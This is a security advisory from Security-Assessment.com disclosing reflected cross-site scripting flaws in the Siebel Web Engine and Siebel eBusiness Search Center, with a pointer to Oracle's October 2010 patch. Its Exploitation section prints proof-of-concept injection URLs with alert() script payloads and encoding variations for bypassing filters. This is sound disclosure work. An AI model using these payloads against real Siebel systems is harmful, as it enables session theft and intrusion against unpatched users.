Description
Security-Assessment.com has discovered that two components of the Siebel eBusiness Application Suite are vulnerable to reflected Cross Site Scripting attacks. The vulnerabilities can be exploited by both authenticated and unauthenticated remote users.

The following components have been found vulnerable:
    -   Siebel Web Engine;
    -   Siebel eBusiness Search Center.

Exploitation
The table below details where Cross Site Scripting was detected and which parameters are vulnerable:

Siebel Web Engine - Public page:
/eservice/"><script>alert(‘xss’)</script>.swe?SWECmd=Login
&SWECM=S
Some Siebel eBusiness Applications require the attacker to change
the injection using variations such as ">,‘>, %22%3E, ‘}, ‘) .

Siebel eBusiness Search Center - Only authenticated user can access this
page:
/start.swe?Id=%22%3E%3Cscript%3Ealert%28213%29%3C%2F
script%3E&SWEField=s_2_1_0_0&SWEFo=SWEForm2_0&SWENee
dContext=true&SWESP=false&SWERowIds=&SWEMethod=Find&
SWECmd=InvokeMethod&SWEVI=Search&SWEPOC=&SWETF=Searc
h&SWETargetView=&SWEDIC=false&SWEReqRowId=0&SWEView=
Find+View&SWETVI=&SWERowId=VRId-0&SWEC=4&SWEM=&SWEBI
D=1202770071&SWESPa=&SWEContainer=&SWETS=12027737651
09&SWETA=&SWEApplet=Find+Applet

Solution
Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory -October 2010. Security-Assessment.com recommends all users of Oracle eBusiness Suite to upgrade to the latest version as soon as possible. For more information on the new release of Oracle eBusines Suite patch please refer to the release notes:
http://support.oracle.com/CSP/main/article?cmd=show&type=NOT&id=1210593.1

About Security-Assessment.com
Security-Assessment.com is Australasia’s leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web: www.security-assessment.com
Email: info@security-assessment.com